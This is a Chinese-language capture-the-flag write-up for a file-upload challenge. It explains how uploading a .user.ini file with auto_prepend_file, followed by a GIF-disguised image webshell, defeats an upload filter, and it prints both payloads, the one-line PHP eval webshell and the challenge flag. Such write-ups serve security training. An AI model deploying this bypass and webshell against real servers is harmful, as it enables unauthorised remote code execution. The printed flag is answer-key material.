介绍:
这里简单介绍一下这个漏洞的原因
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
正文:
我们使用攻防世界的靶场
https://adworld.xctf.org.cn/challenges/details?hash=50df7052-1626-11ed-9827-fa163e4fa633&task_category_id=3
这里我们进行上传,基本上php,MIME验证,文件头验证都有过滤
我们就可以使用上面这种绕过姿势了,我们首先需要上传一个.user.ini文件
内容为
GIF89a
auto_prepend_file=a.jpg
我们使用burp进行抓包实验
这里我们进行三个方面的绕过处理
这里的确上传成功了,那么我们只需要再上传一个图片马即可
图片马的内容:
GIF89a
<?=eval($_REQUEST['cmd']);?>
其他的绕过和上面一样。这里使用request容易掉线,也可以使用eval稳定点
因为这里需要绕过对php的过滤,这里属于包含到其他的php中,所以我们直接去掉php上传。
这里一个要点就是需要这个图片同目录下的php文件,这里我们实战中就需要知道这个目录下有什么php文件了,这里是通过上传的回显发现有一个index.php文件
蚁剑连接找到flag,在根目录下
cyberpeace{1f8b7b499c8029a3cf2dc58c36d7948b}